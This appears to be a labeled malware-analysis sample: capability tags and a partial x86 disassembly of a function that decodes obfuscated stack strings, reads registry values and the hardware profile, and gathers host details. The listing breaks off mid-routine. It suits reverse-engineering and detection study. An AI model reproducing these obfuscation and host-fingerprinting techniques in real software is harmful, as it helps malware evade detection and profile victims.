Function at 0x416de0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Encrypt data using speck
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Parse pe header
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x52497d
push eax
mov eax, 0x2f50
mov dword fs:[0], esp
call fcn.004e7770
push esi
push edi
mov dword [ebp - 0x34], 0
mov dword [ebp - 4], 3
xor edx, edx
mov byte [ebp - 0x18e], 0x1c
mov esi, 0xf
mov byte [ebp - 0x18d], 0x27
mov byte [ebp - 0x18c], 0x28
mov byte [ebp - 0x18b], 0x20
mov byte [ebp - 0x18a], 0x22
mov byte [ebp - 0x189], 0x33
mov byte [ebp - 0x188], 0x2b
mov byte [ebp - 0x187], 0x37
mov byte [ebp - 0x186], 0x28
mov byte [ebp - 0x185], 0x3f
mov byte [ebp - 0x184], 0x32
mov byte [ebp - 0x183], 0x3b
mov byte [ebp - 0x182], 0x75
mov byte [ebp - 0x181], 0x21
mov byte [ebp - 0x180], 0x2b
mov byte [ebp - 0x17f], 0x26
mov byte [ebp - 0x17e], 0x50
mov al, byte [ebp - 0x18e]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x18e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0x69f0ad49
mov edx, 0xa43e1e4d
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x49]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x18e], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x11
jb 0x416ea0
lea eax, [ebp - 0x18e]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3f8]
call fcn.0048f160
add esp, 4
mov byte [ebp - 4], 4
xor edx, edx
mov byte [ebp - 0x2d], 0xc7
mov byte [ebp - 0x2c], 0xd3
mov byte [ebp - 0x2b], 0xbb
mov al, byte [ebp - 0x2d]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x2d]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0xec92e0b9
mov edx, 0x210f6849
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2d], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 3
jb 0x416f12
lea ecx, [ebp - 0x3f8]
call fcn.0040ba70
lea ecx, [ebp - 0x2d]
push ecx
push eax
call fcn.00502ab0
mov edi, eax
add esp, 8
mov dword [ebp - 0x20], edi
test edi, edi
je 0x419f1a
call fcn.00414fd0
test eax, eax
mov edx, 0x20119
mov ecx, 0x20019
setne byte [ebp - 0xd]
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, 0x5710f8
call fcn.0040ba70
mov byte [ebp - 0xf2], 0xa6
xor edx, edx
mov byte [ebp - 0xf1], 0x94
mov esi, eax
mov byte [ebp - 0xf0], 0x8b
mov edi, 0xf
mov byte [ebp - 0xef], 0x75
mov byte [ebp - 0xee], 0x64
mov byte [ebp - 0xed], 0x69
mov byte [ebp - 0xec], 0x6c
mov byte [ebp - 0xeb], 0x36
mov byte [ebp - 0xea], 0x20
mov byte [ebp - 0xe9], 0x25
mov byte [ebp - 0xe8], 0x79
mov byte [ebp - 0xe7], 4
mov byte [ebp - 0xe6], 0xf
mov byte [ebp - 0xe5], 5
mov al, byte [ebp - 0xf2]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0xf2]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x814c66fd
mov edx, 0x8cfc6d65
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xf2], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xe
jb 0x417010
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0xf2]
push esi
push eax
push edi
call fcn.0040bdd0
push 0
call fcn.0050abfc
mov dword [ebp - 0x380], eax
lea eax, [ebp - 0x380]
push eax
mov dword [ebp - 0x37c], edx
call fcn.0050b0e4
mov byte [ebp - 0x7b], 0x24
add esp, 0x14
mov byte [ebp - 0x7a], 0xd
xor edx, edx
mov byte [ebp - 0x79], 0x18
mov esi, eax
mov byte [ebp - 0x78], 9
mov edi, 0xf
mov byte [ebp - 0x77], 0x51
mov byte [ebp - 0x76], 0x4f
mov byte [ebp - 0x75], 0x44
mov byte [ebp - 0x74], 8
mov byte [ebp - 0x73], 0x70
mov al, byte [ebp - 0x7b]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x7b]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xbe160769
mov edx, 0x2e603141
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x69]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x7b], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 9
jb 0x4170b8
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x7b]
push esi
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x50], 0x75
add esp, 0xc
mov byte [ebp - 0x4f], 0x4a
xor edx, edx
mov byte [ebp - 0x4e], 0x4e
mov esi, 0xf
mov byte [ebp - 0x4d], 0x41
mov byte [ebp - 0x4c], 0x40
mov byte [ebp - 0x4b], 0x53
mov byte [ebp - 0x4a], 0x47
mov byte [ebp - 0x49], 0x21
mov al, byte [ebp - 0x50]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x50]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xd2e67225
mov edx, 0xdc11f89e
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x50], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 8
jb 0x417132
lea eax, [ebp - 0x3b0]
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0040bbc0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x50]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417188
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0040bb00
mov byte [ebp - 4], 7
xor edx, edx
mov dword [ebp - 0x32c], 0
mov byte [ebp - 0x26e], 0x73
mov byte [ebp - 0x26d], 0x6b
mov byte [ebp - 0x26c], 0x61
mov byte [ebp - 0x26b], 0x7d
mov byte [ebp - 0x26a], 0x76
mov byte [ebp - 0x269], 0x61
mov byte [ebp - 0x268], 0x7d
mov byte [ebp - 0x267], 0x6b
mov byte [ebp - 0x266], 0x79
mov byte [ebp - 0x265], 0x6b
mov byte [ebp - 0x264], 0x46
mov byte [ebp - 0x263], 0x50
mov byte [ebp - 0x262], 0x49
mov byte [ebp - 0x261], 0x5a
mov byte [ebp - 0x260], 0x49
mov byte [ebp - 0x25f], 0x5e
mov byte [ebp - 0x25e], 0x56
mov byte [ebp - 0x25d], 0x40
mov byte [ebp - 0x25c], 0x6b
mov byte [ebp - 0x25b], 0x7a
mov byte [ebp - 0x25a], 0x43
mov byte [ebp - 0x259], 0x49
mov byte [ebp - 0x258], 0x4f
mov byte [ebp - 0x257], 0x4a
mov byte [ebp - 0x256], 0x5a
mov byte [ebp - 0x255], 0x51
mov byte [ebp - 0x254], 0x4d
mov byte [ebp - 0x253], 0x22
mov byte [ebp - 0x252], 0x3b
mov byte [ebp - 0x251], 0x2d
mov byte [ebp - 0x250], 0x33
mov byte [ebp - 0x24f], 0x41
mov al, byte [ebp - 0x26e]
mov dword [ebp - 0x18], edx
nop word [eax + eax]
mov al, byte [ebp + edx - 0x26e]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0x24a81025
mov edx, 0x597a3088
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x26e], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x20
jb 0x4172a0
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x26e]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x417428
mov dword [ebp - 0x364], 0x20019
xor edx, edx
mov dword [ebp - 0x368], 0x400
mov byte [ebp - 0xbe], 0x3d
mov byte [ebp - 0xbd], 0x10
mov byte [ebp - 0xbc], 0x18
mov byte [ebp - 0xbb], 0x12
mov byte [ebp - 0xba], 0x10
mov byte [ebp - 0xb9], 0x1a
mov byte [ebp - 0xb8], 0x1e
mov byte [ebp - 0xb7], 0x37
mov byte [ebp - 0xb6], 0xf
mov byte [ebp - 0xb5], 0x19
mov byte [ebp - 0xb4], 0x10
mov byte [ebp - 0xb3], 0x84
mov al, byte [ebp - 0xbe]
mov dword [ebp - 0x18], edx
nop dword [eax]
mov al, byte [ebp + edx - 0xbe]
mov ecx, edx
and ecx, 0xf
mov byte [ebp - 0xe], al
cmp ecx, 0xf
mov eax, 0xc0e02c75
mov edx, 0xd7844be7
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x75]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0xbe], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xc
jb 0x417380
lea eax, [ebp - 0x368]
push eax
lea eax, [ebp - 0x135c]
push eax
lea eax, [ebp - 0x364]
push eax
push 0
lea eax, [ebp - 0xbe]
push eax
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41741c
lea ecx, [ebp - 0x135c]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417400
sub ecx, edx
lea eax, [ebp - 0x135c]
push ecx
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0048a9b0
push dword [ebp - 0x32c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x3b0]
call fcn.0040ba70
mov byte [ebp - 0x13c], 0xed
xor edx, edx
mov byte [ebp - 0x13b], 0xc9
mov esi, eax
mov byte [ebp - 0x13a], 0xcf
mov edi, 0xf
mov byte [ebp - 0x139], 0xc4
mov byte [ebp - 0x138], 0xc5
mov byte [ebp - 0x137], 0xc5
mov byte [ebp - 0x136], 0xc7
mov byte [ebp - 0x135], 0xef
mov byte [ebp - 0x134], 0xeb
mov byte [ebp - 0x133], 0x90
mov byte [ebp - 0x132], 0x84
mov byte [ebp - 0x131], 0x82
mov byte [ebp - 0x130], 0xda
mov byte [ebp - 0x12f], 0xa4
mov byte [ebp - 0x12e], 0xa1
mov al, byte [ebp - 0x13c]
mov dword [ebp - 0x18], edx
nop
mov al, byte [ebp + edx - 0x13c]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x13c], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, edi
jb 0x4174b0
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x13c]
push esi
push eax
push edi
call fcn.0040bdd0
mov byte [ebp - 0x58], 0x75
add esp, 0xc
mov byte [ebp - 0x57], 0x4a
xor edx, edx
mov byte [ebp - 0x56], 0x4e
mov edi, 0xf
mov byte [ebp - 0x55], 0x41
mov byte [ebp - 0x54], 0x40
mov byte [ebp - 0x53], 0x53
mov byte [ebp - 0x52], 0x47
mov byte [ebp - 0x51], 0x21
mov al, byte [ebp - 0x58]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x58]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xd2e67225
mov edx, 0xdc11f89e
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x58], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 8
jb 0x417532
lea eax, [ebp - 0x398]
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0040bbc0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x58]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417588
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0040bb00
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x604]
push 0x7c
push 0
push eax
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x604]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x4175ee
lea ecx, [ebp - 0x600]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4175d2
sub ecx, edx
lea eax, [ebp - 0x600]
push ecx
push eax
lea ecx, [ebp - 0x398]
call fcn.0048a9b0
lea ecx, [ebp - 0x398]
call fcn.0040ba70
mov byte [ebp - 0x8f], 0x57
xor edx, edx
mov byte [ebp - 0x8e], 0x4a
mov esi, eax
mov byte [ebp - 0x8d], 0x5a
mov edi, 0xf
mov byte [ebp - 0x8c], 0x6c
mov byte [ebp - 0x8b], 0x17
mov byte [ebp - 0x8a], 5
mov byte [ebp - 0x89], 8
mov byte [ebp - 0x88], 0x59
mov byte [ebp - 0x87], 0x2f
mov byte [ebp - 0x86], 0x22
mov al, byte [ebp - 0x8f]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x8f]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xee7c8c1d
mov edx, 0xf6febf40
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x8f], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0xa
jb 0x417651
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x8f]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
lea ecx, [ebp - 0x508]
call fcn.00415fb0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0xb
xor edx, edx
mov byte [ebp - 0x2a], 0xaf
mov edi, 0xf
mov byte [ebp - 0x29], 0xf1
mov cl, byte [ebp - 0x2a]
mov dword [ebp - 0x18], edx
nop
mov al, byte [ebp + edx - 0x2a]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xd9b2ebfd
mov edx, 0x89aed71c
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x2a], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x4176d0
lea ecx, [ebp - 0x4f0]
call fcn.00415f10
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0xc
xor edx, edx
mov byte [ebp - 0x26], 0xaf
mov esi, 0xf
mov byte [ebp - 0x25], 0xf1
mov cl, byte [ebp - 0x26]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x26]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xd9b2ebfd
mov edx, 0x89aed71c
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x26], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x417733
mov esi, dword [ebp - 0x24]
xor edx, edx
mov byte [ebp - 0x28], 0xaf
mov edi, 0xf
mov byte [ebp - 0x27], 0xf1
mov al, byte [ebp - 0x28]
mov dword [ebp - 0x18], edx
mov al, byte [ebp + edx - 0x28]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xd9b2ebfd
mov edx, 0x89aed71c
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x18]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x28], al
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 2
jb 0x417787
lea eax, [ebp - 0x28]
push eax
lea edx, [ebp - 0x3b0]
lea ecx, [ebp - 0x538]
call fcn.0048f160
add esp, 4
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x398]
push ecx
mov ecx, eax
call fcn.0048aae0
push eax
lea ecx, [ebp - 0x490]
call fcn.0040b700
mov dword [ebp - 0x34], 4
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x26]
mov edi, dword [ebp - 0x1c]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417810
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x490]
call fcn.0048d360
push eax
lea ecx, [ebp - 0x478]
call fcn.0040b700
mov dword [ebp - 0x34], 0xc
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x478]
push esi
push eax
push dword [ebp - 0x338]
lea ecx, [ebp - 0x460]
call fcn.00493160
lea eax, [ebp - 0x2a]
mov dword [ebp - 0x34], 0x1c
push eax
lea edx, [ebp - 0x460]
lea ecx, [ebp - 0x520]
call fcn.0048f1f0
mov byte [ebp - 4], 0x11
mov edx, eax
push edi
lea ecx, [ebp - 0x410]
call fcn.0048f460
add esp, 8
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x520]
call fcn.0040b870
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x520]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x13
mov esi, 0x1c
mov dword [ebp - 0x34], esi
and esi, 0xffffffef
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x460]
call fcn.0040b870
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x460]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x17
and esi, 0xfffffff7
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x478]
call fcn.0040b870
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x478]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x1b
and esi, 0xfffffffb
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x490]
call fcn.0040b870
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x490]
mov dword [ebp - 0x340], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x538]
call fcn.0040b870
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x538]
mov dword [ebp - 0x328], eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x4f0]
call fcn.0040b870
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x4f0]
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x508]
call fcn.0040b870
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x508]
mov dword [ebp - 0x168], eax
mov byte [ebp - 4], 0x2b
xorps xmm0, xmm0
lea ecx, [ebp - 0xa50]
mov byte [ebp - 0x494], 0
movups xmmword [ebp - 0x4b4], xmm0
movups xmmword [ebp - 0x4a4], xmm0
call fcn.004a8c80
mov esi, dword [ebp - 0x400]
lea ecx, [ebp - 0x410]
call fcn.0040ba70
push esi
push eax
lea ecx, [ebp - 0xa50]
call fcn.004a8c90
push 0
lea ecx, [ebp - 0xa50]
call fcn.004a8d60
lea eax, [ebp - 0x4b4]
push eax
lea ecx, [ebp - 0xa50]
call fcn.004a8e30
mov byte [ebp - 0x85], 0x58
xor edx, edx
mov byte [ebp - 0x84], 0x48
mov esi, 0xf
mov byte [ebp - 0x83], 0x5a
mov byte [ebp - 0x82], 0x6c
mov byte [ebp - 0x81], 0x17
mov byte [ebp - 0x80], 5
mov byte [ebp - 0x7f], 8
mov byte [ebp - 0x7e], 0x59
mov byte [ebp - 0x7d], 0x2f
mov byte [ebp - 0x7c], 0x22
mov al, byte [ebp - 0x85]
mov dword [ebp - 0x1c], edx
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x85]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xee7c8c1d
mov edx, 0xf6febf40
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x85], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0xa
jb 0x417a30
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x4b4]
push eax
lea eax, [ebp - 0x85]
push eax
push edi
call fcn.0040bdd0
push 0x104
lea eax, [ebp - 0xb54]
push 0
push eax
call fcn.004fec40
add esp, 0x18
lea eax, [ebp - 0xb54]
push 0x104
push eax
call fcn.00415d10
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x9a], 0x9a
xor edx, edx
mov byte [ebp - 0x99], 0xc3
mov byte [ebp - 0x98], 0xf5
mov byte [ebp - 0x97], 0xe8
mov byte [ebp - 0x96], 0xf0
mov byte [ebp - 0x95], 0xaa
mov byte [ebp - 0x94], 0xba
mov byte [ebp - 0x93], 0x8f
mov byte [ebp - 0x92], 0xd3
mov byte [ebp - 0x91], 0xad
mov byte [ebp - 0x90], 0xab
mov al, byte [ebp - 0x9a]
mov dword [ebp - 0x1c], edx
nop
mov al, byte [ebp + edx - 0x9a]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xe], al
cmp ecx, esi
mov eax, 0xa5e50f99
mov edx, 0x8e198851
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx - 0x67]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x9a], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0xb
jb 0x417b10
lea eax, [ebp - 0xb54]
push eax
lea eax, [ebp - 0x9a]
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.0040ba70
mov byte [ebp - 0x11e], 0xf7
xor edx, edx
mov byte [ebp - 0x11d], 0xc7
mov esi, eax
mov byte [ebp - 0x11c], 0xde
mov edi, 0xf
mov byte [ebp - 0x11b], 0xc7
mov byte [ebp - 0x11a], 0x8c
mov byte [ebp - 0x119], 0xef
mov byte [ebp - 0x118], 0xcb
mov byte [ebp - 0x117], 0xd4
mov byte [ebp - 0x116], 0x95
mov byte [ebp - 0x115], 0x8a
mov byte [ebp - 0x114], 0x81
mov byte [ebp - 0x113], 0xd4
mov byte [ebp - 0x112], 0xa3
mov byte [ebp - 0x111], 0xa4
mov byte [ebp - 0x110], 0xa1
mov al, byte [ebp - 0x11e]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x11e]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xe5d98fa1
mov edx, 0x5e04bf06
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x11e], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, edi
jb 0x417bf0
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x11e]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x417c57
lea ecx, [ebp + 0x50]
call fcn.0040ba70
mov esi, eax
jmp 0x417c5c
mov esi, 0x553980
mov byte [ebp - 0x60], 0x69
xor edx, edx
mov byte [ebp - 0x5f], 0x74
mov edi, 0xf
mov byte [ebp - 0x5e], 0x1f
mov byte [ebp - 0x5d], 0xf
mov byte [ebp - 0x5c], 0xa
mov byte [ebp - 0x5b], 0x57
mov byte [ebp - 0x5a], 0x23
mov byte [ebp - 0x59], 0x21
mov al, byte [ebp - 0x60]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x60]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0xd2e67225
mov edx, 0xdc11f89e
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x60], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 8
jb 0x417c90
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x60]
push esi
push eax
push edi
call fcn.0040bdd0
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x417cf0
lea ecx, [ebp + 0x38]
call fcn.0040ba70
mov dword [ebp - 0x18], eax
jmp 0x417cf8
mov edi, 0x553980
mov dword [ebp - 0x18], edi
cmp dword [ebp + 0x30], 0
je 0x417d0a
lea ecx, [ebp + 0x20]
call fcn.0040ba70
mov esi, eax
jmp 0x417d0f
mov esi, 0x553980
mov byte [ebp - 0x1a0], 0x7c
xor edx, edx
mov byte [ebp - 0x19f], 0x52
mov edi, 0xf
mov byte [ebp - 0x19e], 0x5c
mov byte [ebp - 0x19d], 0x2a
mov byte [ebp - 0x19c], 0x32
mov byte [ebp - 0x19b], 0x25
mov byte [ebp - 0x19a], 0x24
mov byte [ebp - 0x199], 0x2f
mov byte [ebp - 0x198], 0x78
mov byte [ebp - 0x197], 0x63
mov byte [ebp - 0x196], 0x6a
mov byte [ebp - 0x195], 0x31
mov byte [ebp - 0x194], 0x6e
mov byte [ebp - 0x193], 0x60
mov byte [ebp - 0x192], 0x6e
mov byte [ebp - 0x191], 0x3b
mov byte [ebp - 0x190], 0x4a
mov byte [ebp - 0x18f], 0x4d
mov al, byte [ebp - 0x1a0]
mov dword [ebp - 0x1c], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x1a0]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xe], al
cmp ecx, edi
mov eax, 0x58e7b03d
mov edx, 0x40aba857
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x1c]
and al, 0xf
lea ecx, [edx + 0x3d]
xor al, cl
xor al, byte [ebp - 0xe]
mov byte [ebp + edx - 0x1a0], al
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x12
jb 0x417da0
mov edi, dword [ebp - 0x18]
lea eax, [ebp - 0x1a0]
push edi
mov edi, dword [ebp - 0x20]
push esi
push eax
push edi
call fcn.0040bdd0
mov dword [ebp - 0x330], 0
add esp, 0x10
mov byte [ebp - 0x2ef], 0x73
xor edx, edx
mov byte [ebp - 0x2ee], 0x6f
mov esi, 0xf
mov byte [ebp - 0x2ed], 0x6a
mov byte [ebp - 0x2ec], 0x7a
mov byte [ebp - 0x2eb], 0x75
mov byte [ebp - 0x2ea], 0x66
mov byte [ebp - 0x2e9], 0x7b
mov byte [ebp - 0x2e8], 0x6b
mov byte [ebp - 0x2e7], 0x71
mov byte [ebp - 0x2e6], 0x69
mov byte [ebp - 0x2e5], 0x47
mov byte [ebp - 0x2e4], 0x4b
mov byte [ebp - 0x2e3], 0x5f
mov byte [ebp - 0x2e2], 0x40
mov byte [ebp - 0x2e1], 0x51
mov byte [ebp - 0x2e0], 0x5c
mov byte [ebp - 0x2df], 0x56
mov byte [ebp - 0x2de], 0x44
mov byte [ebp - 0x2dd], 0x60
mov byte [ebp - 0x2dc], 0x69
mov byte [ebp - 0x2db], 0x5b
mov byte [ebp - 0x2da], 0x59
mov byte [ebp - 0x2d9], 0x5d
mov byte [ebp - 0x2d8], 0x51
mov byte [ebp - 0x2d7], 0x4a
mov byte [ebp - 0x2d6], 0x47
mov byte [ebp - 0x2d5], 0x1e
mov byte [ebp - 0x2d4], 0x76
mov byte [ebp - 0x2d3], 0x69
mov byte [ebp - 0x2d2], 0x63
mov byte [ebp - 0x2d1], 0x71
